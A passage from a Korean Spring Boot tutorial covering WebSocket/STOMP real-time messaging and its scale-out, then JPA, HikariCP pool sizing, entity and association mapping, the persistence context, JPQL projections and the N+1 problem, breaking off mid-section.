□ maxConnections 를 리틀의 법칙으로 산정했다

[ 메모리 · OS ]
□ -XX:MaxDirectMemorySize 를 명시했다
□ 컨테이너 메모리 = 힙 + 다이렉트 + 여유 로 나눴다
□ ulimit -n ≥ 65536
□ 부하 테스트 때 leakDetection=PARANOID 로 한 번 돌렸다

[ 관측 ]
□ reactor.netty 메트릭이 프로메테우스에 올라간다
□ pending.connections 에 알람이 걸려 있다
□ URI 태그에 정규화 함수를 넣었다 (카디널리티)
□ wiretap 은 운영에서 꺼져 있다
FLUX 18

WebSocket 실전 — 양방향 실시간

SSE(f08)가 서버 → 클라이언트 한 방향이라면, WebSocket 은 양방향입니다. 채팅·협업 편집·게임처럼 클라이언트도 계속 말을 거는 기능은 여기서 시작합니다.

① 순수 WebSocket — 프로토콜 그대로

// build.gradle: spring-boot-starter-websocket
@Configuration @EnableWebSocket
class WsConfig implements WebSocketConfigurer {
    public void registerWebSocketHandlers(WebSocketHandlerRegistry reg) {
        reg.addHandler(new ChatHandler(), "/ws/chat")
           .setAllowedOrigins("https://app.example.com");   // ★ CORS 별도!
    }
}

class ChatHandler extends TextWebSocketHandler {
    // 세션 목록은 반드시 동시성 컬렉션으로
    private final Set<WebSocketSession> sessions = ConcurrentHashMap.newKeySet();

    public void afterConnectionEstablished(WebSocketSession s) {
        sessions.add(s);
    }
    protected void handleTextMessage(WebSocketSession s, TextMessage m)
            throws IOException {
        for (WebSocketSession peer : sessions)          // 브로드캐스트
            if (peer.isOpen()) peer.sendMessage(m);
    }
    public void afterConnectionClosed(WebSocketSession s, CloseStatus st) {
        sessions.remove(s);                             // ★ 정리 안 하면 누수
    }
}
WebSocketSession.sendMessage 는 동시 호출에 안전하지 않습니다. 여러 스레드가 같은 세션에 보내면 IllegalStateException 이 납니다 — ConcurrentWebSocketSessionDecorator 로 감싸거나(전송 버퍼·타임아웃 지정), 세션마다 전송 큐를 하나 두는 것이 실무 패턴입니다.

② STOMP — 구독·발행으로 올라서기

// 채팅방·알림처럼 "채널" 개념이 생기면 STOMP 가 코드를 줄여 줍니다
@Configuration @EnableWebSocketMessageBroker
class StompConfig implements WebSocketMessageBrokerConfigurer {
    public void registerStompEndpoints(StompEndpointRegistry r) {
        r.addEndpoint("/ws").setAllowedOriginPatterns("https://*.example.com");
    }
    public void configureMessageBroker(MessageBrokerRegistry r) {
        r.enableSimpleBroker("/topic", "/queue");   // 구독 채널
        r.setApplicationDestinationPrefixes("/app"); // 클라 → 서버 접두사
    }
}

@Controller
class ChatController {
    @MessageMapping("/chat/{room}")          // 클라가 /app/chat/1 로 발행
    @SendTo("/topic/chat/{room}")            // 구독자 전원에게
    ChatMsg relay(@DestinationVariable long room, ChatMsg msg) {
        return msg;
    }
}

// 서버가 먼저 말 걸기 — 어디서든 주입해서
messagingTemplate.convertAndSend("/topic/notice", payload);
messagingTemplate.convertAndSendToUser(userId, "/queue/dm", dm);  // 1:1
// 브라우저 쪽 (@stomp/stompjs)
const c = new StompJs.Client({ brokerURL: "wss://api.example.com/ws" });
c.onConnect = () => {
  c.subscribe("/topic/chat/1", m => render(JSON.parse(m.body)));
  c.publish({ destination: "/app/chat/1",
              body: JSON.stringify({ text: "안녕하세요" }) });
};
c.activate();   // 재접속·하트비트 내장

서버가 2대가 되는 순간 — 브로드캐스트가 반쪽 난다

// 문제: A서버에 붙은 유저에게 보낸 메시지는
//       B서버에 붙은 유저에게 안 간다 (세션이 서버 메모리에 있으므로)

// 해법 1 — Redis pub/sub 로 서버끼리 중계 (직접 구현·수 대 규모)
@Component
class RedisRelay implements MessageListener {
    public void publish(String channel, String json) {
        redis.convertAndSend(channel, json);        // 모든 서버가 받는다
    }
    public void onMessage(Message m, byte[] p) {    // 각 서버: 자기 세션에만 전달
        messagingTemplate.convertAndSend("/topic/chat",
                                         new String(m.getBody()));
    }
}

// 해법 2 — STOMP 브로커 릴레이 (표준·운영 권장)
r.enableStompBrokerRelay("/topic", "/queue")        // SimpleBroker 대신
 .setRelayHost("rabbitmq.internal")                 // RabbitMQ(STOMP 플러그인)
 .setRelayPort(61613);
// 구독 정보가 브로커에 모이므로 서버 몇 대든 동일하게 동작

운영 체크리스트

항목기준
인증핸드셰이크는 HTTP 이므로 쿠키·세션이 그대로 통과. 토큰 방식은 CONNECT 프레임 헤더로 받아 ChannelInterceptor 에서 검증
하트비트STOMP 기본 10초. 프록시(Nginx) proxy_read_timeout 보다 짧게 — 안 그러면 조용히 끊깁니다
재접속클라이언트 책임 — stompjs 는 내장, 순수 WS 는 지수 백오프로 직접. 끊긴 동안 메시지는 재접속 후 REST 로 따라잡기
메시지 크기·버퍼setMessageSizeLimit·setSendBufferSizeLimit 명시 — 느린 클라이언트 하나가 메모리를 먹는 사고 방지
수평 확장세션은 서버에 붙박이 — LB 는 그대로 두고 브로커 릴레이로 메시지만 공유가 정석
WebFlux 에서는 WebSocketHandler 가 Flux<WebSocketMessage> 를 주고받는 리액티브 API 입니다 — 백프레셔(f07)가 소켓까지 이어져 수만 동시 접속에 유리합니다. STOMP 편의 기능은 MVC 쪽이 성숙하니, 접속 수가 수천 이하라면 MVC + STOMP 조합이 개발 속도 면에서 낫습니다.
SSE 로 충분한지 먼저 물어보세요 — 알림·시세·진행률처럼 서버가 밀기만 하면 되는 기능은 SSE(f08)가 훨씬 단순합니다(HTTP 그대로 · 자동 재접속 내장). WebSocket 은 클라이언트도 초당 여러 번 말을 걸 때(채팅 입력·커서 공유·게임 조작) 꺼내는 카드입니다.
JPA · QUERYDSL · MYBATIS · 트랜잭션

실무 난이도의
절반이
여기에 있다

스프링에서 가장 많이 막히고, 가장 많이 사고가 나는 영역입니다. N+1, 영속성 컨텍스트, 트랜잭션 전파 — 이 셋만 확실히 잡으면 나머지는 문법입니다.
이 탭은 Spring Framework 7 · Spring Boot 4.1 기준입니다.

17SECTIONS
3기술 (JPA·QueryDSL·MyBatis)
N+1가장 많은 성능 문제
1트랜잭션 = 1 작업 단위
DATA 01

기술 고르기 지도

셋 다 배울 필요는 없습니다. 다만 왜 그걸 쓰는지는 알아야 합니다.

기술강점약점언제
Spring Data JPA CRUD 를 안 짜도 됨. 객체 그래프를 그대로 다룸. 더티 체킹 복잡한 조회에 약함. 내부 동작을 모르면 성능 사고 대부분의 신규 프로젝트 기본
QueryDSL 동적 쿼리를 타입 안전하게. 컴파일 시점에 오타 검출 Q타입 생성 설정이 번거로움 JPA 와 함께 — 검색 조건이 많을 때
MyBatis SQL 을 그대로 씀. 복잡한 통계·레거시 DB 에 강함 매핑을 전부 손으로. 컴파일 검사 없음 레거시 DB, 튜닝된 SQL 이 필요한 곳
JdbcClient 가장 가벼움. 스프링 6.1+ 내장 (현행 7.x) 기능이 최소한 간단한 조회 몇 개만 필요할 때
R2DBC 논블로킹 연관관계·더티 체킹 없음 WebFlux 프로젝트 — 🌊 09번
실무에서 가장 흔한 조합 — Spring Data JPA (단순 CRUD) + QueryDSL (복잡한 조회) 입니다. 통계 리포트처럼 SQL 을 손으로 튜닝해야 하는 화면만 MyBatis 나 JdbcClient 로 따로 빼는 식으로 섞어 씁니다. 한 프로젝트에서 여러 개를 같이 쓰는 건 전혀 이상하지 않습니다.
셋 중 무엇을 — 실무에서는 대개 섞어 씁니다 JPA 객체와 표를 자동 매핑 CRUD 가 아주 짧습니다 변경 감지로 UPDATE 자동 복잡한 쿼리는 다루기 어렵습니다 쓸 때 — 도메인 중심 서비스 MyBatis SQL 을 직접 씁니다 나가는 쿼리가 눈에 보입니다 통계 · 복잡한 조인에 강합니다 반복 코드가 늘어납니다 쓸 때 — 통계 · 배치 · 레거시 QueryDSL JPA 위에서 타입 안전하게 동적 조건을 코드로 조립 오타가 컴파일 에러가 됩니다 설정과 생성 단계가 필요합니다 쓸 때 — 조건 많은 검색 화면 흔한 조합 — JPA + QueryDSL 로 기본을, 통계와 대량 처리만 MyBatis 나 순수 SQL 로 하나를 고집하기보다 각자 잘하는 자리에 두는 편이 유지 비용이 낮습니다 무엇을 쓰든 실제로 나가는 SQL 을 로그로 볼 수 있게 먼저 켜 두세요
기술 선택보다 중요한 것은 지금 나가는 쿼리를 볼 수 있는가입니다.
DATA 02

DataSource · 커넥션 풀

DB 커넥션은 비싸고 개수가 정해진 자원입니다. 여기 설정이 잘못되면 서버가 통째로 멈춥니다.

spring:
  datasource:
    # ⚠️ URL 은 한 줄로 — YAML 은 줄바꿈을 공백으로 접어서 파라미터가 깨집니다
    url: jdbc:mysql://localhost:3306/mydb?useSSL=false&serverTimezone=Asia/Seoul&characterEncoding=UTF-8&rewriteBatchedStatements=true
    username: ${DB_USER}
    password: ${DB_PASSWORD}
    hikari:
      maximum-pool-size: 20        # 핵심 설정 ★
      minimum-idle: 10
      connection-timeout: 3000     # 커넥션을 못 얻으면 3초 후 실패
      idle-timeout: 600000         # 10분
      max-lifetime: 1740000        # 29분 (DB wait_timeout 보다 짧게!)
      leak-detection-threshold: 60000   # 60초 넘게 안 돌려주면 경고
      pool-name: HikariPool-main
max-lifetime 은 DB 의 wait_timeout 보다 짧아야 합니다. 안 그러면 DB 가 이미 끊은 커넥션을 풀이 계속 들고 있다가 Communications link failure 가 간헐적으로 터집니다.

풀 크기는 몇으로?

직관과 반대로 크게 잡을수록 느려집니다. DB 의 CPU·디스크가 병목이라 커넥션이 많으면 경합만 늘어납니다.

권장 공식 (HikariCP 문서)
   pool_size = (코어 수 × 2) + 유효 디스크 수

예) 4코어 + SSD 1개 → 약 10
    대부분의 웹 서비스는 10~30 사이면 충분

⚠️ 서버 5대 × 풀 30 = DB 커넥션 150개
   DB 의 max_connections 를 넘으면 전체 장애
“커넥션 고갈”의 진짜 원인은 풀이 작아서가 아니라 커넥션을 오래 붙잡고 있어서입니다. 트랜잭션 안에서 외부 API 를 호출하고 있다면 그게 범인입니다 — 트랜잭션 밖으로 빼세요.
같은 840 ms 지연 — 어디서 기다렸느냐에 따라 처방이 다릅니다 0 300 600 900 ms DB 가 느림 쿼리 838 ms → 쿼리 튜닝 연결을 못 얻음 풀 대기 826 ms → 점유 코드 풀 대기 (getConnection) 쿼리 실행 DB 연결은 앱 서버 대수만큼 곱해집니다 — max_connections 100 기준 4대 × 풀 20 = 80 앱1 20 앱2 20 앱3 20 앱4 20 여유 20 4대 × 풀 30 = 120 거부 20 max 100 0 50 120 풀 대기 시간을 지표로 남기세요 — 쿼리 시간과 대기 시간은 대책이 다릅니다 크게 잡을수록 좋지 않습니다 — 출발점은 코어 수 × 2 + 디스크 수 (HikariCP 권장식)
DB 가 느린 것과 연결을 못 얻는 것은 완전히 다른 문제입니다.
DATA 03

Spring Data 공통

인터페이스만 선언하면 구현체를 스프링이 만들어 줍니다.

public interface OrderRepository extends JpaRepository<Order, Long> {
    // 이것만 선언하면 아래가 전부 생깁니다
    //   save, saveAll, findById, findAll, delete, count, existsById …
}

// 계층
//   Repository
//    ├ CrudRepository → ListCrudRepository                       기본 CRUD (List 반환)
//    └ PagingAndSortingRepository → ListPagingAndSortingRepository 페이징·정렬
//         (Spring Data 3.0 부터 PagingAndSorting 은 CrudRepository 를 상속하지 않습니다)
//   JpaRepository = ListCrud + ListPagingAndSorting + QueryByExample
//                   + JPA 전용 (flush, saveAndFlush …)

쿼리 메서드 — 이름이 곧 쿼리

List<Order> findByStatus(OrderStatus status);
List<Order> findByStatusAndAmountGreaterThan(OrderStatus s, int amount);
List<Order> findByCustomerNameContaining(String keyword);     // LIKE %kw%
List<Order> findByCreatedAtBetween(LocalDateTime a, LocalDateTime b);
List<Order> findByStatusOrderByCreatedAtDesc(OrderStatus s);
List<Order> findTop10ByOrderByAmountDesc();
Optional<Order> findByOrderNo(String no);
boolean existsByOrderNo(String no);
long countByStatus(OrderStatus s);
void deleteByStatus(OrderStatus s);

키워드 표

키워드SQL
And / OrAND / OR
BetweenBETWEEN
LessThan / GreaterThanEqual< / >=
IsNull / IsNotNullIS NULL
In / NotInIN
Like / Containing / StartingWithLIKE
OrderBy…DescORDER BY
Top / FirstLIMIT
DistinctDISTINCT
메서드 이름이 길어지면 그만 쓰세요. findByStatusAndAmountGreaterThanAndCreatedAtBetweenOrderByAmountDesc 같은 이름은 읽을 수도, 고칠 수도 없습니다. 조건이 3개를 넘으면 QueryDSL(09번)로 가는 게 맞습니다.

Spring Data 2026.0 — Boot 4.1 이 물고 오는 것

기능무엇이 달라지나
AOT 리포지토리 파생 쿼리(findByStatusAndAmount…)의 쿼리 생성을 빌드 시점에 끝냅니다. 기동 때 프록시를 만들며 리플렉션으로 파싱하던 비용이 사라져 기동이 빨라지고 네이티브 이미지와도 잘 맞습니다. 메서드 이름 오타도 빌드에서 걸립니다.
JSpecify 널 애노테이션 API 전반이 @Nullable·@NonNull 로 표기돼 IDE·널 검사기가 NPE 가능 지점을 미리 잡아 줍니다. 코틀린에서 특히 체감이 큽니다.
Vector Search 임베딩 벡터를 리포지토리로 조회하는 공통 추상화. 유사도 검색을 스토어별 API 없이 씁니다(지원 스토어에 한함).
셋 다 기존 코드를 안 고쳐도 됩니다 — 리포지토리 인터페이스는 그대로 두고 의존성만 올리면 AOT·널 표기는 자동으로 따라옵니다.
DATA 04

JPA 엔티티 매핑

엔티티는 DB 테이블과 이어진 객체입니다. 여기 설계가 나중을 좌우합니다.

@Entity
@Table(name = "orders",
       indexes = {
           @Index(name = "idx_order_no", columnList = "order_no", unique = true),
           @Index(name = "idx_user_status", columnList = "user_id, status")
       })
@EntityListeners(AuditingEntityListener.class)        // @CreatedDate 등을 채우려면 필요
@Getter
@NoArgsConstructor(access = AccessLevel.PROTECTED)   // JPA 는 기본 생성자 필요
public class Order {

    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)   // MySQL AUTO_INCREMENT
    private Long id;

    @Column(name = "order_no", nullable = false, unique = true, length = 30)
    private String orderNo;

    @Enumerated(EnumType.STRING)          // ★ ORDINAL 은 절대 금지
    @Column(nullable = false, length = 20)
    private OrderStatus status;

    @Column(nullable = false)
    private int amount;

    @Column(columnDefinition = "TEXT")
    private String memo;

    @CreatedDate                          // Auditing
    @Column(updatable = false)
    private LocalDateTime createdAt;

    @LastModifiedDate
    private LocalDateTime updatedAt;

    @Version                              // 낙관적 락
    private Long version;

    // 생성은 정적 팩토리로 — 유효하지 않은 엔티티가 존재할 수 없게
    public static Order create(String orderNo, int amount) {
        Order o = new Order();
        o.orderNo = orderNo;
        o.amount = amount;
        o.status = OrderStatus.CREATED;
        return o;
    }

    // 상태 변경은 의미 있는 메서드로 (setter 를 열지 않는다)
    public void pay() {
        if (status != OrderStatus.CREATED) throw new AlreadyPaidException(id);
        this.status = OrderStatus.PAID;
    }
}

Auditing 켜기 — 생성·수정 시각 자동

@Configuration
@EnableJpaAuditing
public class JpaConfig { }

// 공통 필드를 상속으로 재사용
@MappedSuperclass
@EntityListeners(AuditingEntityListener.class)
@Getter
public abstract class BaseEntity {
    @CreatedDate  @Column(updatable = false)
    private LocalDateTime createdAt;
    @LastModifiedDate
    private LocalDateTime updatedAt;
}

@Entity
public class Order extends BaseEntity { ... }

엔티티 설계 원칙

  • ❌ @Setter를 열지 마세요 — 아무 데서나 상태가 바뀌면 규칙을 지킬 수 없습니다
  • ❌ @Data·@ToString 전체 적용 금지 — 연관 엔티티를 타고 가며 무한 순환·N+1이 납니다
  • ✅ @Enumerated(EnumType.STRING) — ORDINAL 은 enum 순서가 바뀌면 기존 데이터가 전부 틀어집니다
  • ✅ 기본 생성자는 PROTECTED — 아무나 빈 객체를 못 만들게
  • ✅ equals/hashCode 는 ID 기준으로만 (또는 아예 안 만들기)
  • ✅ 엔티티를 API 응답으로 쓰지 마세요 — DTO 로 변환
ddl-auto 는 운영에서 반드시 validate. update 는 컬럼을 지우지 못하고, create 는 테이블을 통째로 날립니다. 스키마 변경은 Flyway(15번)로 관리하세요.
DATA 05

연관관계 매핑

JPA 에서 가장 헷갈리는 부분입니다. 규칙 세 가지만 지키면 대부분 해결됩니다.

연관관계 3원칙
① 모든 연관관계는 LAZY — @ManyToOne 의 기본값이 EAGER 라서 반드시 바꿔야 합니다
② 연관관계의 주인은 외래 키를 가진 쪽(보통 @ManyToOne)
③ @OneToMany 는 꼭 필요할 때만 — 없어도 대부분 돌아갑니다

N:1 — 가장 많이 씁니다

@Entity
public class Order {
    @Id @GeneratedValue
    private Long id;

    @ManyToOne(fetch = FetchType.LAZY)       // ★ 반드시 LAZY
    @JoinColumn(name = "user_id", nullable = false,
                foreignKey = @ForeignKey(name = "fk_order_user"))
    private User user;                        // orders 테이블에 user_id 컬럼
}

// 반대편(1:N)은 필요할 때만 추가
@Entity
public class User {
    @OneToMany(mappedBy = "user")             // mappedBy = 주인이 아님을 표시
    private List<Order> orders = new ArrayList<>();
}

1:N — 부모가 자식을 관리할 때

@Entity
public class Order {
    @OneToMany(mappedBy = "order",
               cascade = CascadeType.ALL,     // 부모 저장 시 자식도
               orphanRemoval = true)          // 목록에서 빼면 삭제
    private List<OrderItem> items = new ArrayList<>();

    // 양방향은 편의 메서드로 양쪽을 함께 세팅
    public void addItem(OrderItem item) {
        items.add(item);
        item.setOrder(this);      // ★ 이걸 빠뜨리면 FK 가 null 로 저장됨
    }
}

1:1 과 N:M

// 1:1 — FK 를 가진 쪽이 주인
@Entity
public class User {
    @OneToOne(fetch = FetchType.LAZY, cascade = CascadeType.ALL)
    @JoinColumn(name = "profile_id")
    private Profile profile;
}

// ⚠️ 1:1 의 '반대편'은 LAZY 가 안 먹습니다 (프록시를 못 만듦)
//    → 조회 시 항상 추가 쿼리가 나갑니다. 단방향으로 두는 게 안전합니다.

// N:M — @ManyToMany 는 쓰지 마세요 ★
// ❌ 중간 테이블에 컬럼을 못 넣고, 쿼리가 예측 불가
@ManyToMany
private List<Tag> tags;

// ✅ 중간 엔티티를 직접 만듭니다
@Entity
public class PostTag {
    @Id @GeneratedValue private Long id;

    @ManyToOne(fetch = LAZY) @JoinColumn(name = "post_id")
    private Post post;

    @ManyToOne(fetch = LAZY) @JoinColumn(name = "tag_id")
    private Tag tag;

    private LocalDateTime taggedAt;      // 추가 정보를 넣을 수 있다 ✅
}
양방향이 정말 필요한가? — user.getOrders() 를 실제로 쓰지 않는다면 단방향(@ManyToOne만)으로 두세요. 양방향은 동기화 실수·순환 참조·N+1 의 원천입니다. 목록이 필요하면 orderRepository.findByUserId(id) 로 충분합니다.
외래 키를 가진 쪽이 '주인'입니다 Order (주인) @ManyToOne @JoinColumn(name="member_id") 이쪽 값을 바꿔야 DB 에 반영됩니다 FK 보유 Member (반대편) @OneToMany(mappedBy="member") 읽기 전용입니다 여기에만 add 해도 저장되지 않습니다 mappedBy "내가 주인이 아니다"라는 표시입니다 편의 메서드로 양쪽을 함께 맞춥니다 void addOrder(Order o) { orders.add(o); o.setMember(this); } 안 그러면 같은 트랜잭션 안에서 컬렉션이 비어 보입니다 양방향이 꼭 필요한지 먼저 보세요 반대편 컬렉션이 실제로 쓰이지 않는다면 단방향으로 양방향은 편의 메서드·순환 참조·직렬화 문제를 부릅니다 JSON 직렬화에서 무한 순환이 나는 원인 1위입니다 기본은 지연 로딩(LAZY)으로 — @ManyToOne 의 기본값이 EAGER 라 명시적으로 바꿔 주어야 합니다
"컬렉션에 넣었는데 저장이 안 돼요"는 주인을 안 바꾼 것입니다.
어느 쪽을 바꿨나 — 주인 쪽 변경만 SQL 이 됩니다 Member orders (반대편) Order member (주인) 양방향 orders.add(o) ✕ 무시 — mappedBy 는 읽기 전용, SQL 없음 o.setMember(m) → 커밋 때 UPDATE orders.member_id = 7 orders 테이블 id | member_id 101 | 7 FK 는 여기에만 있음 편의 메서드 addOrder() 로 둘 다 바꾸면 메모리와 DB 가 같아집니다
"컬렉션에 넣었는데 저장이 안 돼요"는 주인을 안 바꾼 것입니다.
DATA 06

영속성 컨텍스트 — JPA 의 심장

“왜 save() 를 안 했는데 UPDATE 가 나가지?”의 답이 여기 있습니다.

엔티티의 4가지 상태

비영속
new 로 막 만든 상태JPA 가 모르는 객체. new Order()
영속
영속성 컨텍스트가 관리 중save() 했거나 findById() 로 꺼낸 것. 변경이 자동 추적됩니다
준영속
관리에서 떨어진 상태트랜잭션이 끝난 뒤. 변경해도 DB 에 안 반영됩니다
삭제
삭제 예약remove() 호출. 커밋 시 DELETE
@Transactional
public void changeName(Long id, String newName) {
    Order order = orderRepository.findById(id).orElseThrow();  // 영속 상태
    order.changeName(newName);
    // save() 를 부르지 않아도 커밋 시점에 UPDATE 가 나갑니다 ★ (더티 체킹)
}

@Transactional(readOnly = true)
public OrderRes get(Long id) {
    Order o = orderRepository.findById(id).orElseThrow();
    o.changeName("바꿔도");     // readOnly 라 UPDATE 안 나감
    return OrderRes.from(o);
}

영속성 컨텍스트가 해 주는 일

  • 1차 캐시 — 같은 트랜잭션에서 같은 ID 를 두 번 조회하면 쿼리가 한 번만 나갑니다
  • 동일성 보장 — 같은 ID 로 꺼낸 두 객체는 == 가 true
  • 변경 감지(더티 체킹) — 필드를 바꾸면 커밋 때 자동 UPDATE
  • 쓰기 지연 — INSERT 를 모았다가 커밋 시 한 번에
@Transactional
void demo() {
    Order a = repo.findById(1L).get();   // SELECT 발생
    Order b = repo.findById(1L).get();   // 쿼리 없음 (1차 캐시)
    System.out.println(a == b);          // true ✅
}

가장 흔한 사고 — LazyInitializationException

// ❌ 트랜잭션 밖에서 지연 로딩
public OrderRes get(Long id) {              // @Transactional 없음
    Order o = repo.findById(id).orElseThrow();
    return new OrderRes(o.getUser().getName());  // 💥 LazyInitializationException
}

// ✅ 해결 1 — 트랜잭션 안에서 DTO 로 변환
@Transactional(readOnly = true)
public OrderRes get(Long id) {
    Order o = repo.findById(id).orElseThrow();
    return OrderRes.from(o);       // 여기서 필요한 값을 다 꺼냄
}

// ✅ 해결 2 — 페치 조인으로 한 번에 (08번 참고)
@Query("SELECT o FROM Order o JOIN FETCH o.user WHERE o.id = :id")
Optional<Order> findWithUser(Long id);
spring.jpa.open-in-view 는 false 로 두세요. 기본값 true 는 이 예외를 감춰 주지만, 대신 요청이 끝날 때까지 DB 커넥션을 붙잡습니다. 트래픽이 늘면 커넥션 고갈로 이어집니다.
save() 를 안 불렀는데 UPDATE 가 나가는 이유 — 위는 코드, 아래는 나간 SQL 영속 상태 — 1차 캐시 · 변경 감지 동작 준영속 @Transactional 시작 findById(1) findById(1) 다시 setStatus(PAID) save() 없음 커밋 · flush getItems() SELECT … id=1 스냅샷 보관 SQL 없음 1차 캐시 SQL 없음 UPDATE … PAID 스냅샷과 비교 LazyInitializationException "조회만 했는데 UPDATE" — 어디선가 필드를 건드린 것입니다 "바꿨는데 반영 안 됨" — 트랜잭션 밖(준영속)에서 바꾼 것입니다 둘 다 원인은 하나 — 이 엔티티가 지금 영속인가 준영속인가
JPA 의 거의 모든 "이상한 동작"은 지금 이 객체가 어느 상태인가로 설명됩니다 — 비영속 · 영속 · 준영속 · 삭제.

엔티티의 네 가지 상태

상태언제변경이 DB 에 반영되나
비영속
transient
new Order() 직후안 됨 — persist·save 로 영속화해야 합니다
영속
managed
조회했거나 저장한 뒤
트랜잭션 안
됩니다 — 세터만 불러도 커밋 때 UPDATE
준영속
detached
트랜잭션 종료 후 · detach()안 됨 — 지연 로딩도 실패합니다
삭제
removed
remove() 호출 후커밋 때 DELETE

더티 체킹을 제대로 쓰기

// ✅ 영속 상태에서 필드만 바꿉니다 — save() 가 필요 없습니다
@Transactional
public void pay(Long orderId) {
    Order order = orderRepository.findById(orderId)
        .orElseThrow(() -> new OrderNotFound(orderId));

    order.pay();                    // 엔티티 안에서 상태를 바꾸는 메서드
    // orderRepository.save(order); // ← 없어도 됩니다 (있어도 무해)
}   // 커밋 시점에 UPDATE orders SET status=? WHERE id=?

// ✗ 흔한 실수 ① — 트랜잭션이 없으면 아무 일도 안 일어납니다
public void pay(Long orderId) {                 // @Transactional 없음
    Order order = orderRepository.findById(orderId).orElseThrow();
    order.pay();                                // 조용히 사라집니다
}

// ✗ 흔한 실수 ② — 같은 클래스 안에서 자기 메서드 호출은 프록시를 안 거칩니다
public void process(Long id) {
    this.pay(id);          // @Transactional 이 안 먹습니다
}

// ✗ 흔한 실수 ③ — 조회 전용인데 세터가 호출되어 UPDATE 가 나감
@Transactional(readOnly = true)   // ★ 이걸 붙이면 스냅샷을 안 만들어
public OrderRes find(Long id) {   //   메모리도 아끼고 실수도 막습니다
    return OrderRes.from(orderRepository.findById(id).orElseThrow());
}
조회 메서드에는 @Transactional(readOnly = true) 를 습관적으로 붙이세요. 스냅샷을 만들지 않아 메모리를 절반 가까이 아끼고, 의도치 않은 UPDATE 를 구조적으로 막습니다. 읽기 복제본으로 라우팅할 때의 기준으로도 그대로 쓰입니다.

flush 는 언제 일어나나

시점설명
트랜잭션 커밋 직전가장 일반적
JPQL 실행 직전★ 쿼리 결과의 정합성을 위해 먼저 내보냅니다
flush() 직접 호출ID 가 즉시 필요할 때
// 쓰기 지연 — INSERT 가 모였다가 한 번에 나갑니다
@Transactional
public void bulkCreate(List<OrderReq> reqs) {
    for (var r : reqs) {
        orderRepository.save(r.toEntity());    // 아직 DB 에 안 감
        // 영속성 컨텍스트에 쌓입니다
        // ⚠️ 단, ID 전략이 IDENTITY(MySQL AUTO_INCREMENT)면 ID 를 얻으려고 즉시 INSERT
    }
}   // 커밋 시점에 INSERT 들이 한꺼번에

// ★ 대량 처리에서는 주기적으로 비워야 합니다
@Transactional
public void bulkCreate(List<OrderReq> reqs) {
    for (int i = 0; i < reqs.size(); i++) {
        em.persist(reqs.get(i).toEntity());
        if ((i + 1) % 500 == 0) {   // 500건마다 (i % 500 이면 첫 건에서 바로 비움)
            em.flush();     // DB 로 내보내고
            em.clear();     // ★ 1차 캐시를 비웁니다 — 안 하면 OOM
        }
    }
}
// application.yml 에 배치 설정도 함께
// spring.jpa.properties.hibernate.jdbc.batch_size: 500
// spring.jpa.properties.hibernate.order_inserts: true
// ⚠️ IDENTITY 전략이면 하이버네이트가 INSERT 배치를 끕니다 — 대량 INSERT 는 JdbcTemplate 배치로
10만 건을 JPA 로 넣으면 힙이 터집니다. 영속성 컨텍스트가 엔티티와 스냅샷을 전부 들고 있기 때문입니다. flush() + clear() 로 주기적으로 비우거나, 대량 작업은 JDBC 배치·INSERT ... SELECT 로 처리하는 편이 훨씬 빠르고 안전합니다 — JPA 는 대량 처리 도구가 아닙니다.
DATA 07

쿼리 메서드 · JPQL

메서드 이름으로 안 되는 것은 직접 씁니다. JPQL 은 테이블이 아니라 엔티티를 대상으로 합니다.

public interface OrderRepository extends JpaRepository<Order, Long> {

    // JPQL — 엔티티 이름과 필드명을 씁니다 (테이블/컬럼 아님)
    @Query("""
        SELECT o FROM Order o
         WHERE o.status = :status
           AND o.amount >= :minAmount
         ORDER BY o.createdAt DESC
        """)
    List<Order> search(@Param("status") OrderStatus status,
                       @Param("minAmount") int minAmount);

    // DTO 로 바로 받기 (필요한 컬럼만 SELECT — 성능에 유리) ★
    @Query("""
        SELECT new com.myapp.order.dto.OrderSummary(o.id, o.orderNo, u.name, o.amount)
          FROM Order o JOIN o.user u
         WHERE o.createdAt >= :from
        """)
    List<OrderSummary> findSummaries(LocalDateTime from);

    // 네이티브 SQL — DB 고유 기능이 필요할 때
    @Query(value = """
        SELECT * FROM orders
         WHERE MATCH(memo) AGAINST(:kw IN BOOLEAN MODE)
        """, nativeQuery = true)
    List<Order> fullTextSearch(String kw);

    // 벌크 연산 — 한 번에 UPDATE/DELETE
    @Modifying(clearAutomatically = true, flushAutomatically = true)
    @Query("UPDATE Order o SET o.status = :to WHERE o.status = :from")
    int bulkUpdateStatus(OrderStatus from, OrderStatus to);
}

프로젝션 — 필요한 것만 가져오기

// 1) 인터페이스 프로젝션 — 가장 간편
public interface OrderView {
    Long getId();
    String getOrderNo();
    int getAmount();
    UserInfo getUser();            // 중첩 프로젝션 — o.user.name
    interface UserInfo { String getName(); }
    // (String getUserName() 처럼 쓰면 Order 에 userName 속성이 없어 실패)
}
List<OrderView> findByStatus(OrderStatus status);

// 2) record 프로젝션 — 명시적
public record OrderSummary(Long id, String orderNo, String userName, int amount) { }

// 3) 동적 프로젝션 — 한 메서드로 여러 형태
<T> List<T> findByStatus(OrderStatus status, Class<T> type);
// 호출
repo.findByStatus(PAID, OrderView.class);
repo.findByStatus(PAID, Order.class);
벌크 연산 주의 — @Modifying 쿼리는 영속성 컨텍스트를 건너뛰고 DB 에 직접 나갑니다. 그래서 1차 캐시에 있는 엔티티는 옛날 값을 그대로 들고 있습니다. clearAutomatically = true 로 비워 주세요.
DATA 08

N+1 문제 — 가장 많이 만나는 성능 사고

개발할 땐 멀쩡하다가 데이터가 쌓이면 갑자기 느려지는 문제의 1순위입니다.

❌ 쿼리가 101번 나갑니다
List<Order> orders = orderRepository.findAll();   // 쿼리 1번

for (Order o : orders) {
    System.out.println(o.getUser().getName());    // 주문마다 1번씩! (100번)
}
// 총 1 + 100 = 101번
SELECT * FROM orders;                    -- 1번
SELECT * FROM users WHERE id = 1;        -- N번
SELECT * FROM users WHERE id = 2;
SELECT * FROM users WHERE id = 3;
...
✅ 페치 조인 — 1번
@Query("SELECT o FROM Order o JOIN FETCH o.user")
List<Order> findAllWithUser();
SELECT o.*, u.*
  FROM orders o
  JOIN users u ON u.id = o.user_id;      -- 1번 ✅

JOIN 과 JOIN FETCH 는 다릅니다 — 그냥 JOIN 은 조건에만 쓰이고 데이터를 안 가져옵니다. JOIN FETCH 라야 함께 조회됩니다.

해결 방법 4가지

// 1) 페치 조인 — 가장 확실
@Query("SELECT o FROM Order o JOIN FETCH o.user WHERE o.status = :s")
List<Order> findWithUser(OrderStatus s);

// 2) @EntityGraph — 메서드 이름 방식에도 붙일 수 있다
@EntityGraph(attributePaths = {"user", "items"})
